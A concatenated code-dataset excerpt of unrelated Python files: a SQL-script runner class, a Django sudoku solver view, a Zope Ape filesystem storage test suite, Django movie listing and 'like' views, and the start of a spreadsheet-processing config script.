DB_USER,\n\t\t\tpassword = DB_PASSWORD,\n\t\t\thost = DB_HOST,\n\t\t\tdatabase = DB_DATABASE\n\t\t)\n\t\tself.connection.autocommit = False\n\t\tself.cursor = self.connection.cursor()\n\n\t\treturn self\n\n\tdef __exit__(self, exc_type, exc_val, exc_tb):\n\t\t#self.connection.commit()\n\t\tself.cursor.close()\n\t\tself.connection.close()\n\n\t\treturn type is None\n\n\tdef __execute(self, statement):\n\t\tself.cursor.execute(statement)\n\n\tdef __execute_f(self, filename):\n\t\tprint(\"\\n[INFO] Executing SQL script file: {}\".format(filename))\n\n\t\tstatement = \"\"\n\t\twith open(filename) as f:\n\t\t\tfor line in f.readlines():\n\t\t\t\tif re.match(r'--', line):\n\t\t\t\t\tcontinue\n\n\t\t\t\tstatement += line\n\t\t\t\tif re.search(r';$', line):\n\t\t\t\t\tprint(\"\\n[INFO] Executing SQL statement:\\n{}\".format(statement))\n\t\t\t\t\tself.__execute(statement)\n\t\t\t\t\tstatement = \"\"\n\n\t\tself.connection.commit()\n\n\tdef init(self):\n\t\tif(DB_CLEAR):\n\t\t\tself.__execute_f(DB_CLEAR_SQL)\n\t\tif(DB_TEST):\n\t\t\tself.__execute_f(DB_TEST_SQL)\n\n\t# def __execute(self, commands, data=[]):\n\t# \tself.__open()\n\n\t# \tfor c in commands:\n\t# \t\tresult = self.cursor.execute(c)\n\t# \t\tprint(result.fetchall())\n\n\t# \tself.connection.commit()\n\t\t# self.__close()\n\n\t\t# self.cursor.execute(tuple, args)\n\n\t\t# if commit == True:\n\t\t# connection.commit()\n\t\t# else:\n\t\t# if single == True:\n\t\t# return cursor.fetchone()\n\t\t# else:\n\t\t# return cursor.fetchall()\n\n\n\t# def __execute_f(self, filename):\n\t# \twith open(filename) as f:\n\t# \t\tcommands = re.split(';[\\s+]', f.read())\n\n\t# \t\tself.__open()\n\t# \t\tfor c in commands:\n\t# \t\t\tself.cursor.execute(c)\n\n\t# \t\tself.cursor.execute('''INSERT INTO teachers (teacher_name) VALUES (\"Shvedenko\")''')\n\n\t# \t\tself.connection.commit()\n\t# \t\tself.__close()\n\n#-----------/ executing sql file / ---\n\n\n# ----------/ DB CLASS /--------------\n\n# def get_bad_words():\n# sql = (\"SELECT word FROM word_blacklist\")\n# results = execute(sql)\n# return results\n\n# def get_moderation_method():\n# sql = (\"SELECT var_value FROM settings \"\n# \"WHERE var_key = %(key)s\")\n# results = execute(sql, True, {'key':'moderation_method'})\n# return results[0]\n\n# def current_events():\n# sql = (\"SELECT count(id) FROM events WHERE event_date >= DATE_SUB(NOW(), INTERVAL 2 hour) AND event_date <= DATE_ADD(NOW(), INTERVAL 5 hour)\")\n# results = execute(sql, True)\n# return results[0]\n\n# def insert_social_post(channel, filter_type, post_id, validate, user_name, user_id, user_profile_picture, text, post_date, image_url, state):\n# try:\n# san_user_name = html_parser.unescape(user_name.encode('utf-8').strip()).decode(\"utf8\").encode('ascii','ignore')\n# except:\n# san_user_name = html_parser.unescape(user_name.strip())\n# try:\n# san_text = html_parser.unescape(text.encode('utf-8').strip()).decode(\"utf8\").encode('ascii','ignore')\n# except:\n# san_text = html_parser.unescape(text.strip())\n\n# insert_post = (\"INSERT IGNORE INTO social_posts \"\n# \"(channel, filter_type, post_id, validate, user_name, user_id, user_profile_picture, text, post_date, image_url, state)\"\n# \"VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\")\n# execute(insert_post, False, [channel, filter_type, str(post_id), validate,\n# san_user_name.strip(), user_id, user_profile_picture, san_text.strip(), post_date, image_url, state], True)\n\n# def delete_posts(ids):\n# fmt = ','.join(['%s'] * len(ids))\n# cursor.execute(\"DELETE FROM `social_posts` WHERE id IN (%s)\" % fmt,\n# tuple(ids))\n# connection.commit()\n\n# def update_campaigns(campaigns):\n# sql = (\"UPDATE social_campaigns \"\n# \"SET last_updated = NOW()\"\n# \"WHERE id IN (\"+(','.join(str(c) for c in campaigns))+\")\")\n# execute(sql, False, None, True)\n\n# def execute(tuple, single = False, args = {}, commit = False):\n# cursor.execute(tuple, args)\n\n# if commit == True:\n# connection.commit()\n# else:\n# if single == True:\n# return cursor.fetchone()\n# else:\n# return cursor.fetchall()\n\n# def close():\n# connection.close()","sub_path":"server/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"432902699","text":"from django.shortcuts import render\nfrom .puzzle import Puzzle\n\n# Create your views here.\ndef sudoku(request):\n res = request.POST\n\n if res:\n cells = []\n\n for row_num in range(9):\n cells.append([])\n\n for column_num in range(9):\n current_location = 'cell-%i-%i' % (row_num + 1, column_num + 1)\n\n try:\n current_num = int(res[current_location])\n except ValueError:\n current_num = 0\n\n cells[row_num].append(current_num)\n\n my_puzzle = Puzzle(cells=cells)\n\n try:\n my_puzzle.solve()\n return render(request, 'sudoku/sudoku.html', {'cells': my_puzzle.cells, 'new': False, 'error': False})\n\n except ValueError:\n return render(request, 'sudoku/sudoku.html', {'cells': [[0 for i in range(9)] for j in range(9)], 'new': True, 'error': True})\n\n else:\n return render(request, 'sudoku/sudoku.html', {'cells': [[0 for i in range(9)] for j in range(9)], 'new': True, 'error': False})\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"586080087","text":"##############################################################################\n#\n# Copyright (c) 2002 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.0 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Test of storing folders on the filesystem via ZODB\n\n$Id$\n\"\"\"\n\nimport os\nimport sys\nfrom shutil import rmtree\nimport unittest\nfrom tempfile import mktemp\nfrom cStringIO import StringIO\n\nimport transaction\nfrom OFS.Application import Application\nfrom OFS.Image import File, manage_addImage, manage_addFile\nfrom Products.PythonScripts.PythonScript import PythonScript\nfrom Products.PageTemplates.ZopePageTemplate import ZopePageTemplate\n\nfrom apelib.core.interfaces import OIDConflictError\nfrom apelib.zodb3.db import ApeDB\nfrom apelib.zodb3.storage import ApeStorage\nfrom apelib.zodb3.resource import StaticResource\nfrom apelib.zope2.mapper import load_conf\nfrom apelib.fs.interfaces import FSWriteError\nfrom apelib.fs.connection import FSConnection\nfrom apelib.tests.zope2testbase import Zope2TestBase, Folder\n\n\ntry:\n __file__\nexcept NameError:\n __file__ = os.path.abspath(sys.argv[0])\n\ntmpdir = mktemp()\n\nconf = None\n\n\nclass Zope2FSTests (unittest.TestCase, Zope2TestBase):\n\n annotation_prefix = '.'\n\n def setUp(self):\n self.db, self.conn = self.open_database()\n self.conf = conf\n self.path = tmpdir\n c = self.db.open()\n try:\n if not c.root().has_key('Application'):\n from OFS.Application import Application\n c.root()['Application'] = Application()\n transaction.commit()\n finally:\n c.close()\n transaction.begin()\n self.clear_caches()\n\n def tearDown(self):\n transaction.abort()\n if self.db is not None:\n self.db.close()\n rmtree(self.path)\n\n def open_database(self):\n global conf\n if conf is None:\n conf = load_conf('filesystem')\n if not os.path.exists(tmpdir):\n os.mkdir(tmpdir)\n conn = FSConnection(tmpdir, annotation_prefix=self.annotation_prefix)\n conns = {'fs': conn}\n resource = StaticResource(conf)\n storage = ApeStorage(resource, conns)\n db = ApeDB(storage, resource, cache_size=0)\n return db, conn\n\n def clear_caches(self):\n \"\"\"Clears caches after a filesystem write.\n \"\"\"\n self.conn.afs.clear_cache()\n\n def test_classification_preservation(self):\n # Ensure that classification doesn't get forgotten.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'Holidays'\n app._setObject(f.id, f, set_owner=0)\n transaction.commit()\n\n f2 = Folder()\n f2.id = 'Christmas'\n f._setObject(f2.id, f2, set_owner=0)\n transaction.commit()\n\n f3 = Folder()\n f3.id = 'Eve'\n f2._setObject(f3.id, f3, set_owner=0)\n transaction.commit()\n\n for folder in (f, f2, f3):\n text = self.conn.read_annotation(folder._p_oid, 'classification')\n self.assert_(text.find('class_name=OFS.Folder.Folder') >= 0)\n finally:\n conn.close()\n\n\n def test_ignore_mismatched_id(self):\n # Verify that FSAutoID doesn't care if the ID of an item\n # doesn't match what the folder thinks the item's ID should\n # be.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'Holidays'\n app._setObject(f.id, f, set_owner=0)\n transaction.commit()\n\n ob = app.Holidays\n ob._setId('HolidayCalendar')\n transaction.commit()\n finally:\n conn.close()\n\n\n def test_reuse_path(self):\n # Verifies that ApeConnection doesn't trip over reuse of a path that's\n # no longer in use.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'Holidays'\n app._setObject(f.id, f, set_owner=0)\n transaction.commit()\n\n f = None # Forget the reference to folder\n app._delObject('Holidays')\n transaction.commit()\n\n f = Folder()\n f.id = 'Holidays'\n app._setObject(f.id, f, set_owner=0)\n transaction.commit()\n finally:\n conn.close()\n\n\n def test_automatic_page_template_extension(self):\n text = 'example'\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n template = ZopePageTemplate('template', text)\n app._setObject(template.id, template, set_owner=0)\n transaction.commit()\n\n dir = self.conn.basepath\n names = os.listdir(dir)\n self.assert_('template.html' in names, names)\n self.assert_('template' not in names, names)\n finally:\n conn.close()\n\n\n def test_preserve_names_without_extensions(self):\n # Verifies that FSConnection retains original object names,\n # even though the files might be stored with extensions.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'folder'\n app._setObject(f.id, f, set_owner=0)\n for n in range(3):\n script = PythonScript('script%d' % n)\n script.write('##title=test script\\nreturn \"OK\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n conn2 = self.db.open()\n try:\n app = conn2.root()['Application']\n f = app.folder\n for n in range(3):\n self.assert_(hasattr(f, 'script%d' % n))\n self.assert_(not hasattr(f, 'script%d.py' % n))\n # white box test: verify the scripts were actually stored\n # with .py extensions.\n dir = os.path.join(self.conn.basepath, 'folder')\n names = os.listdir(dir)\n for n in range(3):\n self.assert_(('script%d.py' % n) in names, names)\n finally:\n conn2.close()\n finally:\n conn.close()\n\n\n def test_preserve_names_with_extensions(self):\n # Verifies that FSConnection retains original object names\n # even though the object names already have extensions.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'folder'\n app._setObject(f.id, f, set_owner=0)\n for n in range(3):\n script = PythonScript('script%d.py' % n)\n script.write('##title=test script\\nreturn \"OK\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n conn2 = self.db.open()\n try:\n app = conn2.root()['Application']\n f = app.folder\n for n in range(3):\n self.assert_(hasattr(f, 'script%d.py' % n))\n self.assert_(not hasattr(f, 'script%d' % n))\n # white box test: verify the scripts were actually stored\n # with .py extensions.\n dir = os.path.join(self.conn.basepath, 'folder')\n names = os.listdir(dir)\n for n in range(3):\n self.assert_(('script%d.py' % n) in names, names)\n finally:\n conn2.close()\n finally:\n conn.close()\n\n\n def test_auto_rename_on_extension_conflict(self):\n # When you create a Python Script called \"script0\", Ape adds a\n # .py extension. If, in a second transaction, you add\n # \"script0.py\", Ape must rename the current \"script0.py\" to\n # \"script0\" to make room for the new \"script0.py\".\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'folder'\n app._setObject(f.id, f, set_owner=0)\n\n # Can't write to 'script0' then 'script0.py'.\n script = PythonScript('script0')\n script.write('##title=test script\\nreturn \"OK\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n dir = os.path.join(self.conn.basepath, 'folder')\n names = os.listdir(dir)\n self.assert_(('script0.py') in names, names)\n self.assert_(('script0') not in names, names)\n\n # script0.py already exists, so Ape should automatically rename.\n script = PythonScript('script0.py')\n script.write('##title=test script\\nreturn \"Hello, world!\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n # Did it write them correctly?\n text = open(os.path.join(dir, 'script0')).read()\n self.assert_(text.find('OK') > 0, text)\n self.assert_(text.find('Hello, world!') < 0, text)\n text = open(os.path.join(dir, 'script0.py')).read()\n self.assert_(text.find('OK') < 0, text)\n self.assert_(text.find('Hello, world!') > 0, text)\n finally:\n conn.close()\n\n\n def test_non_conflicting_name_extensions1(self):\n # Verifies that FSConnection can write to 'script0.py' then 'script0'\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'folder'\n app._setObject(f.id, f, set_owner=0)\n\n # It's OK to write to 'script0.py' then 'script0'.\n script = PythonScript('script0.py')\n script.write('##title=test script\\nreturn \"OK\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n script = PythonScript('script0')\n script.write('##title=test script\\nreturn \"Hello, world!\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n dir = os.path.join(self.conn.basepath, 'folder')\n names = os.listdir(dir)\n self.assert_(('script0.py') in names, names)\n self.assert_(('script0') in names, names)\n\n conn2 = self.db.open()\n try:\n app = conn2.root()['Application']\n f = app.folder\n self.assertEqual(f['script0.py'](), 'OK')\n self.assertEqual(f['script0'](), 'Hello, world!')\n finally:\n conn2.close()\n finally:\n conn.close()\n\n\n def test_non_conflicting_name_extensions2(self):\n # Verifies that FSConnection can write to 'script0.py' and 'script0'\n # at the same time\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'folder'\n app._setObject(f.id, f, set_owner=0)\n\n # It's OK to write to 'script0.py' then 'script0'.\n script = PythonScript('script0.py')\n script.write('##title=test script\\nreturn \"OK\"')\n f._setObject(script.id, script, set_owner=0)\n script = PythonScript('script0')\n script.write('##title=test script\\nreturn \"Hello, world!\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n conn2 = self.db.open()\n try:\n app = conn2.root()['Application']\n f = app.folder\n self.assertEqual(f['script0.py'](), 'OK')\n self.assertEqual(f['script0'](), 'Hello, world!')\n finally:\n conn2.close()\n finally:\n conn.close()\n\n\n def test_non_conflicting_name_extensions3(self):\n # Verifies that FSConnection can write to 'script0.py'\n # then 'script0.dtml', then 'script0'.\n # Then verifies that removal of items works correctly.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'folder'\n app._setObject(f.id, f, set_owner=0)\n\n script = PythonScript('script0.py')\n script.write('##title=test script\\nreturn \"OK\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n script = PythonScript('script0.dtml')\n script.write('##title=test script\\nreturn \"No DTML here\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n script = PythonScript('script0')\n script.write('##title=test script\\nreturn \"Hello, world!\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n\n dir = os.path.join(self.conn.basepath, 'folder')\n names = os.listdir(dir)\n self.assert_(('script0.py') in names, names)\n self.assert_(('script0.dtml') in names, names)\n self.assert_(('script0') in names, names)\n\n conn2 = self.db.open()\n try:\n app2 = conn2.root()['Application']\n f2 = app2.folder\n self.assertEqual(f2['script0.py'](), 'OK')\n self.assertEqual(f2['script0.dtml'](), 'No DTML here')\n self.assertEqual(f2['script0'](), 'Hello, world!')\n finally:\n transaction.abort()\n conn2.close()\n\n f._delObject('script0.py')\n transaction.commit()\n names = os.listdir(dir)\n self.assert_(('script0.py') not in names, names)\n self.assert_(('script0.dtml') in names, names)\n self.assert_(('script0') in names, names)\n\n f._delObject('script0')\n transaction.commit()\n names = os.listdir(dir)\n self.assert_(('script0.py') not in names, names)\n self.assert_(('script0.dtml') in names, names)\n self.assert_(('script0') not in names, names)\n\n script = PythonScript('script0')\n script.write('##title=test script\\nreturn \"Hello, world!\"')\n f._setObject(script.id, script, set_owner=0)\n transaction.commit()\n names = os.listdir(dir)\n self.assert_(('script0.py') not in names, names)\n self.assert_(('script0.dtml') in names, names)\n self.assert_(('script0') in names, names)\n\n f._delObject('script0.dtml')\n transaction.commit()\n names = os.listdir(dir)\n self.assert_(('script0.py') not in names, names)\n self.assert_(('script0.dtml') not in names, names)\n self.assert_(('script0') in names, names)\n finally:\n conn.close()\n\n\n def test_image_extension(self):\n # Verify that a new image is stored with the correct extension.\n path = os.path.join(os.path.dirname(__file__), 'correct.png')\n f = open(path, 'rb')\n try:\n data = f.read()\n finally:\n f.close()\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n manage_addImage(app, 'image', StringIO(data))\n transaction.commit()\n\n self.assertEqual(app.image.data, data)\n conn2 = self.db.open()\n try:\n app = conn2.root()['Application']\n self.assertEqual(app.image.data, data)\n finally:\n conn2.close()\n\n dir = self.conn.basepath\n names = os.listdir(dir)\n self.assert_(('image.png') in names, names)\n self.assert_(('image') not in names, names)\n finally:\n conn.close()\n\n\n def test_corrected_file_extension(self):\n # Verify that certain content_types use the correct filename\n # extension.\n data = 'Hello, world!'\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n manage_addFile(app, 'hello', StringIO(data),\n content_type='text/plain')\n manage_addFile(app, 'world.dat', StringIO(data),\n content_type='text/plain')\n manage_addFile(app, 'binary_file', StringIO(data),\n content_type='application/octet-stream')\n transaction.commit()\n\n dir = self.conn.basepath\n names = os.listdir(dir)\n self.assert_(('hello.txt') in names, names)\n self.assert_(('world.dat') in names, names)\n self.assert_(('hello') not in names, names)\n self.assert_(('binary_file') in names, names)\n finally:\n conn.close()\n\n\n def test_guess_type_based_on_extension(self):\n # Verify Zope chooses the right object type for\n # a new object.\n # White box test.\n dir = self.conn.basepath\n f = open(os.path.join(dir, 'test.py'), 'wt')\n f.write('return \"Ok!\"')\n f.close()\n self.clear_caches()\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n self.assert_(hasattr(app, 'test.py'))\n self.assert_(isinstance(app['test.py'], PythonScript))\n self.assertEqual(app['test.py'](), 'Ok!')\n finally:\n conn.close()\n\n\n def test_guess_type_with_chopped_extension(self):\n # Verify that even though the extension gets stripped off\n # in Zope, Zope still sees the object as it should.\n # White box test.\n dir = self.conn.basepath\n f = open(os.path.join(dir, 'test.py'), 'wt')\n f.write('return \"Ok!\"')\n f.close()\n\n f = open(os.path.join(dir, self.conn.afs.annotation_prefix\n + 'properties'), 'wt')\n f.write('[object_names]\\ntest\\n')\n f.close()\n self.clear_caches()\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n self.assert_(hasattr(app, 'test'))\n self.assert_(isinstance(app.test, PythonScript))\n self.assertEqual(app.test(), 'Ok!')\n finally:\n conn.close()\n\n\n def test_fallback_to_file(self):\n # Verify Zope uses a File object for unrecognized files on\n # the filesystem. White box test.\n data = 'data goes here'\n dir = self.conn.basepath\n f = open(os.path.join(dir, 'test'), 'wt')\n f.write(data)\n f.close()\n self.clear_caches()\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n self.assert_(hasattr(app, 'test'))\n self.assert_(isinstance(app['test'], File))\n self.assertEqual(str(app['test']), data)\n finally:\n conn.close()\n\n\n def test_default_property_schema(self):\n # Verify Zope uses the default property schema when no properties\n # are set.\n dir = self.conn.basepath\n os.mkdir(os.path.join(dir, 'test'))\n self.clear_caches()\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n self.assert_(hasattr(app, 'test'))\n self.assert_(isinstance(app['test'], Folder))\n self.assertEqual(app['test'].title, '')\n props = app['test']._properties\n for p in props:\n if p['id'] == 'title':\n break\n else:\n self.fail('No title property found')\n finally:\n conn.close()\n\n\n def test_remainder_storage(self):\n # Verify that FSConnection puts the remainder in the properties file\n conn = self.db.open()\n try:\n content = 'tacked_on_data'\n app = conn.root()['Application']\n app._stowaway = content\n transaction.commit()\n\n # Verify the ability to load it\n conn2 = self.db.open()\n try:\n app2 = conn2.root()['Application']\n self.assertEqual(app2._stowaway, content)\n finally:\n conn2.close()\n\n # Verify the stowaway is in the properties file.\n dir = self.conn.basepath\n p = os.path.join(\n dir, self.conn.afs.annotation_prefix + 'properties')\n f = open(p, 'rt')\n data = f.read()\n f.close()\n self.assert_(data.find('_stowaway') >= 0)\n finally:\n conn.close()\n\n\n def test_dotted_names(self):\n # FSConnection should allow dotted names that don't look like\n # property or remainder files.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = '.Holidays'\n app._setObject(f.id, f, set_owner=0)\n f2 = Folder()\n f2.id = '.Holidays.properties.dat'\n app._setObject(f2.id, f2, set_owner=0)\n transaction.commit()\n finally:\n conn.close()\n\n\n def test_guess_file_content_type(self):\n # Verify that file content type guessing happens.\n data = 'Cool stuff'\n dir = self.conn.basepath\n f = open(os.path.join(dir, 'testobj'), 'wt')\n f.write(data)\n f.close()\n\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n self.assert_(hasattr(app, 'testobj'))\n self.assertEqual(app.testobj.content_type, 'text/html')\n finally:\n conn.close()\n\n\n def test_write_to_root(self):\n # Verify it's possible to write to the _root object as well as\n # the Application object without either one stomping on each\n # other's data.\n conn = self.db.open()\n conn2 = None\n try:\n root = conn.root()\n app = root['Application']\n root['foo'] = Folder()\n root['foo'].id = 'foo'\n app.bar = Folder('bar')\n app.bar.id = 'bar'\n transaction.commit()\n\n conn2 = self.db.open()\n root = conn2.root()\n app = root['Application']\n self.assert_(root.has_key('foo'))\n self.assert_(hasattr(app, 'bar'))\n finally:\n conn.close()\n if conn2 is not None:\n conn2.close()\n\n\n def test_open_existing(self):\n # Verifies that opening an existing database finds the same\n # data.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n app.test_attribute = '123'\n transaction.commit()\n finally:\n conn.close()\n\n # Close the database and open a new one pointing at the same\n # directory.\n self.db.close()\n self.db = None\n self.db, self.conn = self.open_database()\n conn = self.db.open()\n try:\n root = conn.root()\n app = root['Application']\n self.assertEqual(app.test_attribute, '123')\n finally:\n conn.close()\n\n\n def test_no_clobber_on_open(self):\n # Opening a database with no \"_root\" shouldn't clobber the\n # existing contents.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'bar'\n app._setObject(f.id, f)\n transaction.commit()\n finally:\n conn.close()\n self.db.close()\n self.db = None\n\n # Destroy the _root and the annotations at the app root.\n basepath = self.conn.basepath\n root_p = os.path.join(basepath, '_root')\n if os.path.exists(root_p):\n rmtree(root_p)\n paths = self.conn.afs.get_annotation_paths(basepath)\n for path in paths:\n if os.path.exists(path):\n os.remove(path)\n\n # Now look for the 'bar' folder.\n self.db, self.conn = self.open_database()\n conn = self.db.open()\n try:\n root = conn.root()\n app = root['Application']\n self.assertEqual(app.bar.id, 'bar')\n finally:\n conn.close()\n\n def test_start_with_empty_database(self):\n # A new database should not have an Application.\n # Destroy the _root and the annotations at the app root.\n self.db.close()\n self.db = None\n basepath = self.conn.basepath\n rmtree(basepath)\n os.mkdir(basepath)\n self.db, self.conn = self.open_database()\n conn = self.db.open()\n try:\n root = conn.root()\n self.assert_(not root.has_key('Application'))\n finally:\n conn.close()\n\n def test_store_unlinked(self):\n # Storing an object not linked to any parents\n # shouldn't cause problems.\n conn = self.db.open()\n try:\n app = conn.root()['Application']\n f = Folder()\n f.id = 'bar'\n app._setObject(f.id, f)\n transaction.savepoint(True)\n app._delObject(f.id)\n transaction.commit()\n finally:\n conn.close()\n\n\n\nclass Zope2FSUnderscoreTests (Zope2FSTests):\n annotation_prefix = '_'\n\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"Products.Ape/trunk/lib/apelib/tests/testzope2fs.py","file_name":"testzope2fs.py","file_ext":"py","file_size_in_byte":25927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"23949794","text":"# -*- coding: UTF-8 -*-\nimport json\nimport os\nimport glob\nfrom random import sample\n\nfrom django.conf import settings\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render, get_object_or_404\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.contenttypes.models import ContentType\n\n\nfrom .models import Genre, Director, Actor, Movie, Serials, Like, RATING_CHOICES\nfrom .forms import MovieFilterForm\n\nfrom Filters_And_Pagination.templatetags.utility_tags import get_likes_count\n\n\ndef home(request):\n\tqs = Movie.objects.order_by('title')\n\tform = MovieFilterForm(data=request.GET)\n\tfacets = {\n\t\t'selected': {},\n\t\t'categories': {\n\t\t\t'genres': Genre.objects.all(),\n\t\t\t'directors': Director.objects.all(),\n\t\t\t'actors': Actor.objects.all(),\n\t\t\t'ratings': RATING_CHOICES,\n\t\t},\n\t}\n\t\n\tif form.is_valid():\n\t\t# Filters\n\t\tfacets, qs = form.filter(facets, qs)\n\n\t# Pagination\n\tpaginator = Paginator(qs, 3)\t\t\t# queryset and limit per page\n\tpage_number = request.GET.get('page')\n\ttry:\n\t\tpage = paginator.page(page_number)\n\texcept PageNotAnInteger:\n\t\t# jeśli numer strony nie jest liczbą całkowitą, wyświetla pierwszą stronę\n\t\tpage = paginator.page(1)\n\texcept EmptyPage:\n\t\t# jeśli numer jest za duży, wyświetla ostatnią stronę\n\t\tpage = paginator.page(paginator.num_pages)\n\n\n\t# Infinite scroll\n\tserials_qs = Serials.objects.order_by('title')\n\tserials_paginator = Paginator(serials_qs, 5)\n\tserials_page_number = request.GET.get('serial_page')\n\ttry:\n\t\tserials_page = serials_paginator.page(serials_page_number)\n\texcept PageNotAnInteger:\n\t\t# jeśli numer strony nie jest liczbą całkowitą, wyświetla pierwszą stronę\n\t\tserials_page = serials_paginator.page(1)\n\texcept EmptyPage:\n\t\t# jeśli numer jest za duży, wyświetla ostatnią stronę\n\t\tserials_page = serials_paginator.page(serials_paginator.num_pages)\n\n\tcontext = {\n\t\t'form': form,\n\t\t'facets': facets,\n\t\t'serials_page': serials_page,\n\t\t'object_list': page,\n\t}\n\treturn render(request, 'FaP/home.html', context)\n\n\ndef movie_detail_modal(request, pk):\n\tmovie = get_object_or_404(Movie, pk=pk)\n\tgenres = movie.genres.get_queryset()\n\twall_url = sample(\n\t\t\tos.listdir(os.path.join(settings.BASE_DIR, 'Filters_And_Pagination', 'static', 'img')), 3)\n\n\treturn render(request, 'FaP/movie_detail_modal.html', {'movie': movie, 'genres': genres, 'wall_url': wall_url})\n\n\n@never_cache\n@csrf_exempt\ndef json_set_like(request, content_type_id, object_id):\n\t\"\"\"\n\tUstawia obiekt jako ulubiony obiekt bieżącego użytkownika.\n\t\"\"\"\n\tjson_str = \"false\"\n\tif request.user.is_authenticated() and request.method == \"POST\":\n\t\tcontent_type = ContentType.objects.get(id=content_type_id)\n\t\tobj = content_type.get_object_for_this_type(pk=object_id)\n\t\tlike, is_created = Like.objects.get_or_create(\n\t\t\tcontent_type=ContentType.objects.get_for_model(obj),\n\t\t\tobject_id=obj.pk,\n\t\t\tuser=request.user,\n\t\t)\n\t\tif not is_created:\n\t\t\tlike.delete()\n\n\t\tresult = {\n\t\t\t'obj': str(obj),\n\t\t\t'action': is_created and \"added\" or \"removed\",\n\t\t\t'count': get_likes_count(obj),\n\t\t}\n\t\tjson_str = json.dumps(result, ensure_ascii=False)\n\treturn HttpResponse(json_str, content_type='application/json')\n\t# return JsonResponse({'json_str': json_str})\n","sub_path":"Projects/Filters_And_Pagination/FaP/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"646570534","text":"import openpyxl\nimport configparser\nimport csv\nimport os\nfrom numpy import median\nfrom numpy import average\nfrom numpy import transpose\nfrom copy import copy\n\n# Config vars\n\nconfig = configparser.ConfigParser()\nconfig.read('scriptconfig.ini')\n\n# Required input vars\nPROTOCOL_WB = config['run info']['protocol_wb']\nOUTPUT_WB = config['run info']['output_wb']\n\ndef check_and_default(config,cat,key,default):\n if key in config[cat].keys():\n return config[cat][key]\n else:\n return default\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\n# Run info\nNUM_INPUT = int(check_and_default(config,'run info','num_input','20')) # number of samples\nNUM_BLOCKS = int(check_and_default(config,'run info','num_blocks','16')) # number of blocks on slide\nSAVE_ENABLED = check_and_default(config,'run info','save_enabled','True') == 'True'\nBLOCKWISE_PBS = check_and_default(config,'run info','blockwise_pbs','True') == 'True'\nMULTIBLOCK_ANTIGENS = check_and_default(config,'run info','multiblock_antigens','False') == 'True'\nBLANK_SAMPLES = check_and_default(config,'run info','blank_samples','True') == 'True'\n\n# Results File Info\nDATA_COL = check_and_default(config,'results file','data_col','Z')\nFLAG_COL = check_and_default(config,'results file','flag_col','A')\nNAME_COL = check_and_default(config,'results file','name_col','G')\nBLOC_COL = check_and_default(config,'results file','bloc_col','D')\nFIRST_ROW_DATA = int(check_and_default(config,'results file','first_row_data','34'))\nAUTO_COL = check_and_default(config,'results file','auto_col','False') == 'True'\n\n# Protocol File Info\nSAMPLE_COL = check_and_default(config,'protocol file','sample_col','B')\nSECOND_COL = check_and_default(config,'protocol file','second_col','E')\nSAMPLE_ROW = int(check_and_default(config,'protocol file','sample_row','20'))\n\n# Debug vars\nVERBOSE_OUTPUT = check_and_default(config,'debug','verbose_output','False') == 'True'\n\n# ===== FUNCTIONS ======\n\n# returns True if variable can be cast as Float\ndef is_number(s):\n try:\n 